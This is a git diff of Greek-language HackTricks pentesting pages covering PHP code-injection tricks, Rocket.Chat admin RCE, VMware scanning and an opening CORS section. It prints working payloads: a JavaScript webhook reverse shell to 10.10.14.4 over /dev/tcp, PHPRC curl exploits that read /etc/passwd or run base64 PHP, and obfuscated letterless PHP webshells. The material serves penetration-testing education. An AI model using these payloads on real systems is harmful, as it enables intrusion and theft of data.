Θα πρέπει να **διακόψετε** τη **σύνταξη** του κώδικα, **προσθέσετε** το **φορτίο** σας, και μετά να το **διορθώσετε ξανά**. Μπορείτε να χρησιμοποιήσετε **λογικές λειτουργίες** όπως "**and" ή "%26%26" ή "|"**. Σημειώστε ότι το "or", "||" δεν λειτουργεί επειδή αν η πρώτη συνθήκη είναι αληθής το φορτίο μας δεν θα εκτελεστεί. Με τον ίδιο τρόπο το ";" δεν λειτουργεί καθώς το φορτίο μας δεν θα εκτελεστεί.
Θα πρέπει να **διακόψετε** τη **σύνταξη** του κώδικα, **προσθέσετε** το **φορτίο** σας, και μετά να το **διορθώσετε ξανά**. Μπορείτε να χρησιμοποιήσετε λογικές λειτουργίες όπως "**and" ή "%26%26" ή "|"**. Σημειώστε ότι το "or", "||" δεν λειτουργεί επειδή αν η πρώτη συνθήκη είναι αληθής το φορτίο μας δεν θα εκτελεστεί. Με τον ίδιο τρόπο το ";" δεν λειτουργεί επειδή το φορτίο μας δεν θα εκτελεστεί.
**Άλλη επιλογή** είναι να προσθέσετε στο string την εκτέλεση της εντολής: `'.highlight_file('.passwd').'`
@ -226,7 +226,7 @@ preg_replace("/a/e","phpinfo()","whatever")
### **RCE μέσω usort()**
Αυτή η συνάρτηση χρησιμοποιείται για την ταξινόμηση ενός πίνακα αντικειμένων χρησιμοποιώντας μια συγκεκριμένη συνάρτηση.\
Αυτή η συνάρτηση χρησιμοποιείται για την ταξινόμηση ενός πίνακα στοιχείων χρησιμοποιώντας μια συγκεκριμένη συνάρτηση.\
Για να καταχραστείτε αυτήν τη συνάρτηση:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
@ -247,50 +247,58 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
Μπορείτε επίσης να χρησιμοποιήσετε **//** για να σχολιάσετε το υπόλοιπο του κώδικα.
Για να ανακαλύψετε τον αριθμό των παρενθέσεων που χρειάζεστε να κλείσετε:
* `?order=id;}//`: λαμβάνουμε ένα μήνυμα σφάλματος (`Parse error: syntax error, unexpected ';'`). Πιθανότατα λείπει μία ή περισσότερες αγκύλες.
* `?order=id);}//`: λαμβάνουμε ένα **προειδοποιητικό μήνυμα**. Φαίνεται ότι είναι σωστό.
* `?order=id));}//`: λαμβάνουμε ένα μήνυμα σφάλματος (`Parse error: syntax error, unexpected ')' i`). Πιθανότατα έχουμε πολλές κλειστές αγκύλες.
### **RCE μέσω .httaccess**
Αν μπορείς να **ανεβάσεις** ένα **.htaccess**, τότε μπορείς να **διαμορφώσεις** αρκετά πράγματα και ακόμα και να εκτελέσεις κώδικα (διαμορφώνοντας αρχεία με κατάληξη .htaccess ώστε να μπορούν να **εκτελεστούν**).
Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **διαμορφώσετε** διάφορα πράγματα και ακόμη να εκτελέσετε κώδικα (διαμορφώνοντας ότι τα αρχεία με κατάληξη .htaccess μπορούν να **εκτελεστούν**).
Διαφορετικά .htaccess shells μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)
### RCE μέσω Μεταβλητών Περιβάλλοντος
Αν βρεις μια ευπάθεια που σου επιτρέπει να **τροποποιήσεις μεταβλητές περιβάλλοντος στο PHP** (και μια άλλη για να ανεβάσεις αρχεία, αν και με περισσότερη έρευνα ίσως αυτό να μπορεί να ανακληθεί), θα μπορούσες να εκμεταλλευτείς αυτή τη συμπεριφορά για να πάρεις **RCE**.
Αν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε μεταβλητές περιβάλλοντος στο PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό να μπορεί να ανακληθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να πάρετε **RCE**.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Αυτή η μεταβλητή περιβάλλοντος σου επιτρέπει να φορτώσεις τυχαίες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών (αν και σε αυτήν την περίπτωση μπορεί να μη λειτουργήσει).
* **`PHPRC`** : Οδηγεί το PHP σχετικά με το **πού να εντοπίσει το αρχείο ρυθμίσεών του**, συνήθως ονομάζεται `php.ini`. Αν μπορείς να ανεβάσεις το δικό σου αρχείο ρυθμίσεων, τότε χρησιμοποίησε το `PHPRC` για να το κατευθύνεις το PHP σε αυτό. Πρόσθεσε μια **καταχώριση `auto_prepend_file`** που καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **κώδικα PHP, ο οποίος στη συνέχεια εκτελείται** από τον χρόνο εκτέλεσης του PHP πριν από οποιονδήποτε άλλο κώδικα.
1. Ανέβασε ένα αρχείο PHP που περιέχει τον κώδικα του shell μας
2. Ανέβασε ένα δεύτερο αρχείο, περιέχοντας μια οδηγία **`auto_prepend_file`** που ενημερώνει τον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Αυτή η μεταβλητή περιβάλλοντος σάς επιτρέπει να φορτώσετε τυχαίες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών (αν και σε αυτήν την περίπτωση ενδέχεται να μη λειτουργεί).
* **`PHPRC`** : Οδηγεί το PHP σχετικά με το **πού να εντοπίσει το αρχείο διαμόρφωσής του**, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο διαμόρφωσης, τότε χρησιμοποιήστε το `PHPRC` για να το κατευθύνετε στο PHP. Προσθέστε μια **καταχώριση `auto_prepend_file`** που καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **κώδικα PHP, ο οποίος στη συνέχεια εκτελείται** από το χρόνο εκτέλεσης του PHP πριν από οποιονδήποτε άλλο κώδικα.
1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα του shell μας
2. Ανεβάστε ένα δεύτερο αρχείο που περιέχει μια **οδηγία `auto_prepend_file`** που εντολοδοτεί τον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
3. Ορίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2.
* Βρες περισσότερες πληροφορίες για το πώς να εκτελέσεις αυτή τη σειρά [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* Λάβετε περισσότερες πληροφορίες για το πώς να εκτελέσετε αυτή τη σειρά [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - μια άλλη επιλογή
* Αν **δεν μπορείς να ανεβάσεις αρχεία**, μπορείς να χρησιμοποιήσεις στο FreeBSD το "αρχείο" `/dev/fd/0` το οποίο περιέχει το **`stdin`**, είναι το **σώμα** του αιτήματος που στάλθηκε στο `stdin`:
* Αν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, είναι το **σώμα** του αιτήματος που στάλθηκε στο `stdin`:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Ή για να πάρεις RCE, ενεργοποίησε το **`allow_url_include`** και προσθέστε ένα αρχείο με **κώδικα PHP base64**:
* Ή για να λάβετε RCE, ενεργοποιήστε το **`allow_url_include`** και προσθέστε ένα αρχείο με **κώδικα PHP base64**:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Τεχνική [**από αυτήν την αναφορά**](https://vulncheck.com/blog/juniper-cve-2023-36845).
## Στατική ανάλυση PHP
Δες αν μπορείς να εισάγεις κώδικα σε κλήσεις αυτών των συναρτήσεων (από [εδώ](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
Ελέγξτε αν μπορείτε να εισάγετε κώδικα σε κλήσεις αυτών των συναρτήσεων (από [εδώ](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Αν αποσφαλματώνετε μια εφαρμογή PHP, μπορείτε να ενεργοποιήσετε γενικά την εκτύπωση σφαλμάτων στο `/etc/php5/apache2/php.ini` προσθέτοντας `display_errors = On` και επανεκκινήστε το apache: `sudo systemctl restart apache2`
Αν αποσφαλματίζετε μια εφαρμογή PHP, μπορείτε να ενεργοποιήσετε γενικά την εκτύπωση σφαλμάτων στο `/etc/php5/apache2/php.ini` προσθέτοντας `display_errors = On` και επανεκκινήστε τον Apache: `sudo systemctl restart apache2`
### Αποκρυπτογράφηση κώδικα PHP
Μπορείτε να χρησιμοποιήσετε το **web**[ **www.unphp.net**](http://www.unphp.net) **για να αποκρυπτογραφήσετε κώδικα php.**
Μπορείτε να χρησιμοποιήσετε τον **ιστότοπο** [**www.unphp.net**](http://www.unphp.net) **για να αποκρυπτογραφήσετε κώδικα php.**
## Πρωτόκολλα & Πρωτόκολλα PHP
Τα πρωτόκολλα και τα πρωτόκολλα PHP θα μπορούσαν να σας επιτρέψουν να **παρακάμψετε τις προστασίες εγγραφής και ανάγνωσης** σε ένα σύστημα και να τον απειλήσετε. Για [**περισσότερες πληροφορίες ελέγξτε αυτή τη σελίδα**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
Τα πρωτόκολλα και τα πρωτόκολλα PHP μπορεί να σας επιτρέψουν να **παρακάμψετε τις προστασίες εγγραφής και ανάγνωσης** σε ένα σύστημα και να τον απειλήσετε. Για [**περισσότερες πληροφορίες ελέγξτε αυτήν τη σελίδα**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug μη εξουσιοδοτημένο RCE
Αν δείτε ότι το **Xdebug** είναι **ενεργοποιημένο** σε έξοδο `phpconfig()` θα πρέπει να προσπαθήσετε να λάβετε RCE μέσω [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
Αν δείτε ότι το **Xdebug** είναι **ενεργοποιημένο** σε έξοδο `phpconfig()`, πρέπει να προσπαθήσετε να λάβετε RCE μέσω [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
## Μεταβλητές μεταβλητές
```php
@ -306,7 +314,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE κατάχρηση νέου $\_GET\["a"]\($\_GET\["b"])
Αν σε μια σελίδα μπορείς **να δημιουργήσεις ένα νέο αντικείμενο μιας τυχαίας κλάσης**, ενδέχεται να μπορείς να αποκτήσεις RCE, ελέγξτε την παρακάτω σελίδα για να μάθετε πώς:
Αν σε μια σελίδα μπορείς **να δημιουργήσεις ένα νέο αντικείμενο μιας τυχαίας κλάσης**, ενδέχεται να μπορείς να αποκτήσεις RCE, ελέγξτε την ακόλουθη σελίδα για να μάθετε πώς:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
@ -316,13 +324,13 @@ echo "$x ${Da}"; //Da Drums
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### Χρησιμοποιώντας οκταδικό
### Χρησιμοποιώντας οκταδικά
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
Η λειτουργία XOR (Αποκλειστικό OR) είναι μια διαδικασία που χρησιμοποιείται συχνά στον προγραμματισμό και στον υπολογισμό.
Το XOR (Αποκλειστικό OR) είναι ένας τελεστής που χρησιμοποιείται συχνά σε τεχνικές κρυπτογραφίας και hacking.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
@ -338,7 +346,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Έτσι, αν μπορείτε να **εκτελέσετε τυχαίο PHP χωρίς αριθμούς και γράμματα** μπορείτε να στείλετε ένα αίτημα όπως το παρακάτω καταχρώμενοντας αυτό το φορτίο για να εκτελέσετε τυχαίο PHP:
Έτσι, αν μπορείτε **να εκτελέσετε τυχαίο PHP χωρίς αριθμούς και γράμματα** μπορείτε να στείλετε ένα αίτημα όπως το παρακάτω καταχρώμενοντας αυτό το φορτίο για να εκτελέσετε τυχαίο PHP:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -405,7 +413,7 @@ $____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -418,7 +426,7 @@ $___($_[_]); // ASSERT($_POST[_]);
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -23,12 +23,12 @@
Αν είστε διαχειριστής μέσα στο Rocket Chat μπορείτε να αποκτήσετε RCE.
* Πηγαίνετε στις **`Ενσωματώσεις`** και επιλέξτε **`Νέα Ενσωμάτωση`** και επιλέξτε οποιαδήποτε: **`Εισερχόμενο WebHook`** ή **`Εξερχόμενο WebHook`**.
* Πηγαίνετε στο **`Ενσωματώσεις`** και επιλέξτε **`Νέα Ενσωμάτωση`** και επιλέξτε οποιαδήποτε: **`Εισερχόμενο WebHook`** ή **`Εξερχόμενο WebHook`**.
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
* Σύμφωνα με τα [έγγραφα](https://docs.rocket.chat/guides/administration/admin-panel/integrations), και τα δύο χρησιμοποιούν ES2015 / ECMAScript 6 ([βασικά JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) για την επεξεργασία των δεδομένων. Έτσι ας αποκτήσουμε ένα [rev shell για το javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) όπως:
* Σύμφωνα με τα [έγγραφα](https://docs.rocket.chat/guides/administration/admin-panel/integrations), και τα δύο χρησιμοποιούν ES2015 / ECMAScript 6 ([βασικά JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) για την επεξεργασία των δεδομένων. Έτσι ας αποκτήσουμε ένα [rev shell για javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) όπως:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
@ -42,14 +42,14 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
<figure><img src="../../.gitbook/assets/image (569).png" alt=""><figcaption></figcaption></figure>
* Αποθήκευση των αλλαγών
* Αποθήκευση αλλαγών
* Λήψη του δημιουργημένου URL του WebHook:
<figure><img src="../../.gitbook/assets/image (934).png" alt=""><figcaption></figcaption></figure>
* Καλέστε το με το curl και θα πρέπει να λάβετε το αντίστροφο κέλυφος
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -62,7 +62,7 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,18 +1,18 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -22,13 +22,13 @@ nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
msf> use auxiliary/scanner/vmware/esx_fingerprint
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```
# Χτύπημα με βίαιο τρόπο
# Χαμηλής Πιθανότητας Επίθεση
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
Αν βρείτε έγκυρα διαπιστευτήρια, μπορείτε να χρησιμοποιήσετε περισσότερα εργαλεία σάρωσης του Metasploit για να λάβετε πληροφορίες.
Αν βρείτε έγκυρα διαπιστευτήρια, μπορείτε να χρησιμοποιήσετε περισσότερα εργαλεία σάρωσης Metasploit για να λάβετε πληροφορίες.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -43,6 +43,6 @@ msf> auxiliary/scanner/vmware/vmware_http_login
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>

View file

@ -9,45 +9,45 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Τι είναι το CORS;
Το πρότυπο Cross-Origin Resource Sharing (CORS) **επιτρέπει στους διακομιστές να ορίζουν ποιος μπορεί να έχει πρόσβαση στους πόρους τους** και **ποιες μέθοδοι αιτήσεων HTTP επιτρέπονται** από εξωτερικές πηγές.
Το Cross-Origin Resource Sharing (CORS) standard **επιτρέπει στους διακομιστές να ορίζουν ποιος μπορεί να έχει πρόσβαση στους πόρους τους** και **ποιες μέθοδοι HTTP αιτήσεων επιτρέπονται** από εξωτερικές πηγές.
Μια πολιτική **ίδιας προέλευσης** επιβάλλει ότι ένας **διακομιστής που ζητά** έναν πόρο και ο διακομιστής που φιλοξενεί τον **πόρο** να μοιράζονται τον ίδιο πρωτόκολλο (π.χ., `http://`), όνομα τομέα (π.χ., `internal-web.com`), και **θύρα** (π.χ., 80). Με βάση αυτήν την πολιτική, μόνο οι ιστοσελίδες από τον ίδιο τομέα και την ίδια θύρα επιτρέπεται η πρόσβαση στους πόρους.
